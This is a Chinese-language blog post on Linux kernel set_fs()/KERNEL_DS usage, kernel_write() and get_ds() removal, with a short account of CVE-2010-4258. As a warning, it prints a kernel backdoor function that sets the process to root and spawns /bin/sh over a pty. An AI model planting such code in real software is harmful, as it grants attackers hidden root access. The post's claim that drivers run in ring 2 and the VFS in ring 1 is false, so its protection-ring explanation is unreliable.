Linux device driver - set_fs()

收錄在 Ameba 的 100 篇

--
當我們在 kernel process, 要讀寫檔案時, 如果直接做 filp_open(), vfs_read() / vfs_write()
其實是會發生問題的,

這是因為 Linux 的 security 設計, 是採用 OS 定義的 protection ring, 如下:


Module driver 屬於 ring 2, 能存取的範圍是 用戶空間, USER_DS
而 virtual file system 是屬於 ring 1, 是不能直接存取的.
這時候需要透過 set_fs(KERNEL_DS) 將能訪問的空間限制 擴大到 內核空間

所以 Linux API 從 kernel 4.14 之後新增了 kernel_write()
會直接幫忙處理 set_fs(KERNEL_DS)



且從 kernel 5.1 之後, get_ds() 被拿掉了
https://gitlab.rocks/cpallares/linux/commit/736706bee3298208343a76096370e4f6a5c55915
因為在 Linux kernel , 這個值都是 KERNEL_DS

範例: https://github.com/neojou/new_ldd/blob/master/wow_enable/wow_enable.c


在使用 set_fs(KERNEL_DS) 時 須小心, 因為 hacker 常利用這來埋後門, 例如:

//strat_shell - use system call 'exevce' to get a root shell.
void start_shell(void)
{
        struct task_struct *ptr = current;
        mm_segment_t old_fs;

        old_fs = get_fs();
        set_fs(KERNEL_DS);

        ptr->uid = 0;
        ptr->euid = 0;
        ptr->gid = SGID;
        ptr->egid = 0;

        dup2(epty, 0);
        dup2(epty, 1);
        dup2(epty, 2);

        chdir(HOME);

        execve("/bin/sh", (const char **) earg, (const char **) env);

        e_exit(-1);
}

例如 以前 CVE-2010-4258,

線程退出時, 如果設置了 CLONE_CHILD_CLEARTID,
會對線程的 clear_child_tid 置零, 置零前會檢查指針是否越界到內核空間

Nelson Elhage 利用 大多數 OOPS 會伴隨著 set_fs(KERNEL_DS)
使得退除流程前沒能及時恢復成 USER_DS, 從而繞過越界檢查..

詳細可以參考這篇:


留言

熱門文章